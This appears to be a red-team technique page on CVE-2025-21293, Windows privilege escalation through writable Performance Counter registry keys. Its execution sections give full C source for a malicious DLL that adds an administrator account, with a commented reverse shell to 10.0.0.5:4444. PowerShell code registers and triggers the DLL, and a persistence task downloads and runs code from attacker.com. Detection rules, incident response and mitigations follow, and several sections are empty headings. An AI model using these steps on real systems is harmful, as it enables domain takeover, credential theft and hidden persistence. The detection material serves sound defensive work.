MCADDF

[CVE2025-003]: AD DS Registry Key Elevation

1. METADATA HEADER

Attribute Details
Technique ID CVE2025-003
MITRE ATT&CK v18.1 T1068 - Exploitation for Privilege Escalation
Tactic Privilege Escalation
Platforms Windows Active Directory Domain Services (Windows Server 2012-2025, Windows 10/11)
Severity High
CVE CVE-2025-21293 (CVSS 8.8)
Technique Status ACTIVE (Misconfigured registry permissions on Network Configuration Operators group)
Last Verified 2025-01-10
Affected Versions Windows 10 (1607, 1809, 21H2, 22H2), Windows 11 (22H2, 23H2, 24H2), Server 2012/2012R2/2016/2019/2022/2025
Patched In MS Patch Tuesday January 2025 (KB5035893 and related)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: CVE-2025-21293 is a privilege escalation vulnerability in Active Directory Domain Services (AD DS) that exploits excessive permissions granted to the “Network Configuration Operators” built-in security group. This group, automatically created during domain controller setup, was granted KEY_CREATE_SUB_KEY permission on critical Windows registry keys including DnsCache and NetBT services. Attackers who are members of this group (or can social engineer their way into membership) can register malicious Windows Performance Counter DLLs under these service keys. When Performance Counters are queried (via PerfMon.exe, WMI, or monitoring tools), the malicious DLLs load and execute with SYSTEM-level privileges, enabling full system compromise.

Attack Surface: Windows Registry (HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance, HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Performance); Windows Performance Counter infrastructure; WMI queries (Get-Counter PowerShell cmdlet); Registry key HKLM\SYSTEM\CurrentControlSet\Services\{service}\Performance\ with subkeys: Library, Open, Collect, Close.

Business Impact: Domain-level privilege escalation. Successful exploitation enables attackers with Network Configuration Operators membership to escalate to SYSTEM privileges, leading to: (1) Complete domain controller compromise, (2) Golden Ticket generation and persistent domain access, (3) Extraction of NTDS.dit (Active Directory database), (4) Compromise of all domain users and computers, (5) Ransomware deployment with administrative privileges.

Technical Context: Exploitation takes 30-60 seconds after registry modification and Performance Counter query. Detection likelihood is Medium if registry auditing enabled; Low otherwise. Common indicators include unusual registry modifications under Performance Counter keys, suspicious WMI queries, and SYSTEM-level process spawning from user context.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 2.2.1 | Ensure audit log retention is “30 or more days” (detect registry changes) | | DISA STIG | WN10-AU-000005 | Audit Policy / Special Logon must be “Success and Failure” | | CISA SCuBA | AD.PR.1 | Administrative Privileges - Least privilege principle | | NIST 800-53 | AC-2 / AC-3 | Account Management; Access enforcement failures | | GDPR | Art. 32 | Security of processing and encryption of data in transit/at rest | | DORA | Art. 9 / Art. 17 | ICT incident handling; Digital Operational Resilience | | NIS2 | Art. 21 | Cyber risk management measures for critical infrastructure | | ISO 27001 | A.9.4.1 / A.12.6.1 | Information access control; management of technical vulnerabilities | | ISO 27005 | Risk Scenario | Compromise of Administrative Privileges via Registry Misconfiguration |


3. TECHNICAL PREREQUISITES

Required Privileges: Active Domain User account who is member of “Network Configuration Operators” group OR ability to elevate into this group.

Required Access: Network access to domain controller (Kerberos/LDAP); local logon to a domain-joined computer; ability to execute PowerShell or WMI queries.

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

# Step 1: Check if current user is member of Network Configuration Operators
$username = $env:USERNAME
$userdomain = $env:USERDOMAIN
$sid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
$account = New-Object System.Security.Principal.NTAccount($userdomain, $username)
$groupSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-556")  # Network Configuration Operators RID

# Alternative: Direct group check
Get-LocalGroupMember -Group "Network Configuration Operators" | Select-Object Name, ObjectClass

# Step 2: Verify registry key permissions
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
$acl = Get-Acl -Path $regPath
$acl.Access | Where-Object {$_.IdentityReference -like "*Network Configuration Operators*"} | Select-Object IdentityReference, FileSystemRights, AccessControlType

# Step 3: Check if WMI Performance Counter access is available
Get-CimInstance -ClassName Win32_PerfRawData

# Step 4: Enumerate existing Performance Counter libraries
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\*\Performance" | Select-Object PSPath, Library, Open, Collect, Close

# Step 5: Verify PerfMon can be executed
Get-Command perfmon.exe

# Step 6: Check if user can access WMI
Get-CimSession -ErrorAction SilentlyContinue

# Step 7: Determine Windows version (patch status)
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' | Select-Object CurrentVersion, CurrentBuild, DisplayVersion

What to Look For:

Version Note: Exploitation identical across all vulnerable Windows versions; no version-specific differences in technique.


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Performance Counter DLL Injection via Registry Modification

Supported Versions: Windows 10 1607+ / Server 2012+

Step 1: Create Malicious DLL for Performance Counter

Objective: Develop a Windows DLL that will be executed with SYSTEM privileges when loaded as a Performance Counter library.

Command (C/C++):

// malicious_counter.c - Compile as DLL: cl /LD malicious_counter.c
#include <windows.h>
#include <stdio.h>

// Performance Counter DLL must export these functions
extern "C" {
    __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR lpDeviceNames);
    __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR lpValueName, LPVOID *lppData, LPDWORD lpcbData, LPDWORD lpNumObjectTypes);
    __declspec(dllexport) DWORD APIENTRY ClosePerfData(void);
}

// Payload: Execute when DLL is loaded
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Execute payload with SYSTEM privileges
        // Option 1: Spawn new process
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};
        si.cb = sizeof(si);
        
        // Add attacker user to Administrators group (runs as SYSTEM)
        CreateProcessW(L"C:\\Windows\\System32\\net.exe", 
                      L"net user Attacker /add && net localgroup Administrators Attacker /add",
                      NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
        
        // Option 2: Create reverse shell
        // CreateProcessW(L"C:\\Windows\\System32\\cmd.exe",
        //              L"/c powershell -c $socket=new-object System.Net.Sockets.TcpClient('10.0.0.5',4444);...",
        //              ...);
        
        // Wait for process to complete
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    return TRUE;
}

// Dummy Performance Counter functions (required exports)
DWORD APIENTRY OpenPerfData(LPWSTR lpDeviceNames) {
    return ERROR_SUCCESS;
}

DWORD APIENTRY CollectPerfData(LPWSTR lpValueName, LPVOID *lppData, LPDWORD lpcbData, LPDWORD lpNumObjectTypes) {
    return ERROR_SUCCESS;
}

DWORD APIENTRY ClosePerfData(void) {
    return ERROR_SUCCESS;
}

Compilation:

# Using Visual Studio Build Tools
cl /LD malicious_counter.c

# Resulting file: malicious_counter.dll
# Place in accessible location (e.g., C:\Temp\malicious_counter.dll)

What This Means:

OpSec & Evasion:


Step 2: Register Malicious DLL as Performance Counter

Objective: Create registry entries under Network Configuration Operators-writable keys to register the malicious DLL as a Performance Counter library.

Command (PowerShell):

# Target registry path (Network Configuration Operators has KEY_CREATE_SUB_KEY permission)
$serviceName = "DnsCache"  # Could also use "NetBT"
$basePath = "HKLM:\SYSTEM\CurrentControlSet\Services\$serviceName\Performance"

# Verify current user can access this key
$acl = Get-Acl -Path $basePath
$acl.Access

# Create Performance Counter subkeys (required structure)
New-Item -Path "$basePath" -Name "Library" -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "$basePath" -Name "Open" -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "$basePath" -Name "Collect" -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "$basePath" -Name "Close" -Force -ErrorAction SilentlyContinue | Out-Null

# Register malicious DLL path
$dllPath = "C:\Temp\malicious_counter.dll"
New-ItemProperty -Path "$basePath" -Name "Library" -Value $dllPath -PropertyType String -Force
New-ItemProperty -Path "$basePath" -Name "Open" -Value "OpenPerfData" -PropertyType String -Force
New-ItemProperty -Path "$basePath" -Name "Collect" -Value "CollectPerfData" -PropertyType String -Force
New-ItemProperty -Path "$basePath" -Name "Close" -Value "ClosePerfData" -PropertyType String -Force

# Verify registry entries created
Get-ItemProperty -Path "$basePath" | Select-Object Library, Open, Collect, Close

# Expected output:
# Library : C:\Temp\malicious_counter.dll
# Open    : OpenPerfData
# Collect : CollectPerfData
# Close   : ClosePerfData

Expected Output:

Library : C:\Temp\malicious_counter.dll
Open    : OpenPerfData
Collect : CollectPerfData
Close   : ClosePerfData

What This Means:

OpSec & Evasion:


Step 3: Trigger Performance Counter Query to Load Malicious DLL

Objective: Query Performance Counters to force the Windows kernel to load our malicious DLL with SYSTEM privileges.

Command (PowerShell):

# Method 1: Using Get-Counter (standard PowerShell)
# This query forces the DnsCache Performance Counter to load our DLL
try {
    $counter = Get-Counter -Counter "\DnsCache\*" -ErrorAction SilentlyContinue
    Write-Host "Counter query executed - DLL should be loaded"
} catch {
    Write-Host "Counter access failed (expected): $_"
}

# Method 2: Using WMI (Get-CimInstance) - more reliable
try {
    $wmiQuery = Get-CimInstance -ClassName Win32_PerfRawData_PerfNet_NetworkInterface -ErrorAction SilentlyContinue
    Write-Host "WMI query executed - DLL loaded via WMI service"
} catch {
    Write-Host "WMI query failed: $_"
}

# Method 3: Using PerfMon GUI (manual)
# perfmon.exe → Performance Monitor → Add Counters → DnsCache → {our malicious counter}

# Method 4: Using typeperf command-line
# typeperf -sc 1 "\DnsCache(*)\*"

# Verify exploitation success
# - New user "Attacker" should exist in local Administrators group
Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.Name -like "*Attacker*"}

# If exploitation successful, output will show:
# Attacker    NT AUTHORITY\Attacker    User    Administrators

Expected Output (On Successful Exploitation):

Counter query executed - DLL should be loaded

Account Name : Attacker
Domain       : WORKGROUP
Status       : Enabled
LastLogon    : 1/10/2025 3:45:00 PM
MemberOf     : Administrators

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 4: Verify Privilege Escalation and Establish Persistence

Objective: Confirm SYSTEM-level access and maintain persistence for long-term control.

Command (PowerShell):

# Verify new admin user was created
$newUser = Get-LocalUser -Name "Attacker" -ErrorAction SilentlyContinue
if ($newUser) {
    Write-Host "[+] Privilege escalation successful - Attacker account created"
    
    # Set password to non-expiring
    Set-LocalUser -Name "Attacker" -PasswordNeverExpires $true
    
    # Create scheduled task for persistence (runs as SYSTEM)
    $taskPath = "\Microsoft\Windows\UpdateOrchestrator\"
    $action = New-ScheduledTaskAction -Execute "powershell.exe" `
        -Argument "-WindowStyle Hidden -Command 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell\")'"
    
    $trigger = New-ScheduledTaskTrigger -AtStartup
    Register-ScheduledTask -TaskName "SystemUpdates" -Action $action -Trigger $trigger `
        -Principal (New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount) `
        -Force
    
    Write-Host "[+] Persistence established - SystemUpdates task created"
} else {
    Write-Host "[-] Exploitation failed - Attacker account not found"
}

# Alternative persistence: Create SYSTEM-level registry autorun
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
    -Name "SystemService" -Value "C:\Temp\malicious.exe" -Force

# Access sensitive data as SYSTEM
# - Export NTDS.dit from domain controller
# - Read HKLM\SAM and HKLM\SECURITY registry hives
# - Create Golden Ticket

References & Proofs:


METHOD 2: Registry Permission Abuse via Scheduled Tasks

Supported Versions: Windows Server 2016+

Alternative: Create Scheduled Task with SYSTEM Privileges

# Create scheduled task that executes with SYSTEM privileges
$xmlPath = "C:\Temp\malicious_task.xml"

# Create task definition XML
@"
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.1" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2025-01-10T12:00:00</Date>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>C:\Windows\System32\cmd.exe</Command>
      <Arguments>/c net user Attacker2 /add && net localgroup Administrators Attacker2 /add</Arguments>
    </Exec>
  </Actions>
</Task>
"@ | Out-File -FilePath $xmlPath -Encoding UTF16

# Register task (requires admin or Network Configuration Operators)
Register-ScheduledTask -Xml (Get-Content $xmlPath | Out-String) -TaskName "SystemMaintenance" -Force

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team


7. SPLUNK DETECTION RULES

Rule 1: Detect Registry Modification to Performance Counter Keys

Rule Configuration:

SPL Query:

index=windows_events EventCode=4657 ObjectName IN ("*Performance*", "*DnsCache*", "*NetBT*")
| where NewValueType="REG_SZ" AND NewValue="*.dll"
| stats count, values(SubjectUserName), values(ObjectName), values(NewValue) by ComputerName
| where count >= 3

What This Detects:


Rule 2: Detect Performance Counter Query Operations

SPL Query:

index=windows_events EventCode IN (1000, 1001) source="*PerfMon*"
OR (Process="perfmon.exe" OR Process="Get-Counter")
OR (CommandLine="*typeperf*" AND CommandLine="*DnsCache*")
| stats count, values(ComputerName), values(SubjectUserName) by Process, CommandLine

8. MICROSOFT SENTINEL DETECTION

Query 1: Detect Registry Modification to Performance Counter Keys

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4657
| where ObjectName has "Performance" or ObjectName has "DnsCache" or ObjectName has "NetBT"
| where NewValueType == "REG_SZ" and NewValue endswith ".dll"
| summarize Count = count(), UniqueObjects = make_set(ObjectName), SubjectUserNames = make_set(SubjectUserName) by Computer, tostring(NewValue)
| where Count >= 3

Manual Configuration Steps:

  1. Azure PortalMicrosoft SentinelAnalytics+ CreateScheduled query rule
  2. Name: Registry Performance Counter Modification
  3. Paste KQL query above
  4. Set alert threshold: Run every 5 minutes
  5. Enable incident creation and alert on Computer/NewValue

9. WINDOWS EVENT LOG MONITORING

Event ID: 4657 (Registry Object Modified)

Manual Configuration Steps (Group Policy):

  1. Open gpmc.msc or gpedit.msc
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationObject Access
  3. Enable: Audit Registry (set to Success and Failure)
  4. Run gpupdate /force
  5. Verify: auditpol /get /subcategory:"Registry" /r

10. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

<Sysmon schemaversion="4.33">
  <RuleGroup name="Registry Performance Counter Exploitation" groupRelation="or">
    <!-- Detect registry creation/modification under Performance Counter keys -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">\Performance\</TargetObject>
      <Image condition="is not">services.exe</Image>
      <Image condition="is not">svchost.exe</Image>
    </RegistryEvent>
    
    <!-- Detect Get-Counter PowerShell execution -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">Get-Counter</CommandLine>
    </ProcessCreate>
    
    <!-- Detect Performance Monitor access -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">typeperf</CommandLine>
      <CommandLine condition="contains">DnsCache</CommandLine>
    </ProcessCreate>
  </RuleGroup>
</Sysmon>

11. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Registry Modification in Performance Counter Keys

Alert Name: Suspicious registry modification in performance counter keys detected

Manual Configuration Steps:

  1. Azure PortalMicrosoft Defender for CloudEnvironment settings
  2. Select subscription → Defender for Servers → ON
  3. Go to Alerts and filter for “Registry” or “Performance”
  4. Configure alert response to notify SOC

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Disable compromised user account immediately
    Disable-LocalUser -Name "Attacker"
       
    # Remove from administrative groups
    Remove-LocalGroupMember -Group "Administrators" -Member "Attacker" -Confirm:$false
       
    # Disconnect network if critical system
    Disable-NetAdapter -Name "*" -Confirm:$false
    
  2. Collect Evidence:
    # Export registry hives
    reg export HKLM\SYSTEM "C:\Evidence\SYSTEM.reg"
    reg export HKLM\SAM "C:\Evidence\SAM.reg"
       
    # Export Security event log
    wevtutil epl Security "C:\Evidence\Security.evtx"
       
    # Export Sysmon logs
    wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Evidence\Sysmon.evtx"
       
    # Collect suspicious DLL files
    Copy-Item "C:\Temp\malicious*.dll" -Destination "C:\Evidence\" -Recurse
    
  3. Remediate:
    # Remove malicious registry entries
    Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance\Library" -Force
    Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Performance\Library" -Force
       
    # Remove malicious user accounts
    Remove-LocalUser -Name "Attacker" -Confirm:$false
       
    # Delete malicious DLL files
    Remove-Item "C:\Temp\malicious*.dll" -Force
       
    # Apply patch
    # Run Windows Update to get January 2025 security update or later
       
    # Reboot domain controller if compromised
    Restart-Computer -Force
    

Step Phase Technique Description
1 Initial Access [T1078] Valid Accounts Obtain credentials for domain user in Network Configuration Operators
2 Privilege Escalation [CVE2025-003] AD DS Registry Key Elevation via Performance Counters
3 Persistence [T1547.001] Registry Run Keys Create SYSTEM-level scheduled task or registry autorun
4 Credential Access [T1003.002] NTDS.dit Dump Export Active Directory database as SYSTEM
5 Defense Evasion [T1070.001] Clear Windows Event Logs Delete audit logs covering exploitation traces
6 Lateral Movement [T1021.006] Remote Service Session Initiation Deploy malware to other domain members using SYSTEM access

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

# Verify patch is installed
Get-HotFix | Where-Object {$_.Description -like "*January 2025*" -or $_.HotFixID -eq "KB5035893"}

# Verify Network Configuration Operators membership is minimal
Get-LocalGroupMember -Group "Network Configuration Operators" | Measure-Object

# Verify registry audit policy enabled
auditpol /get /subcategory:"Registry" /r

# Verify registry permissions on Performance keys
$acl = Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
$acl.Access | Where-Object {$_.IdentityReference -like "*Network Configuration Operators*"}

Expected Output (If Secure):

HotFixID  : KB5035893
InstalledOn : 1/9/2025

MemberCount : 0  # No unnecessary members

Audit Category: Registry
Success: Enabled
Failure: Enabled

# No output from Network Configuration Operators access = permissions removed

15. REAL-WORLD EXAMPLES

Example 1: Healthcare Organization - HIPAA Compliance Breach

Example 2: Financial Services - Domain Compromise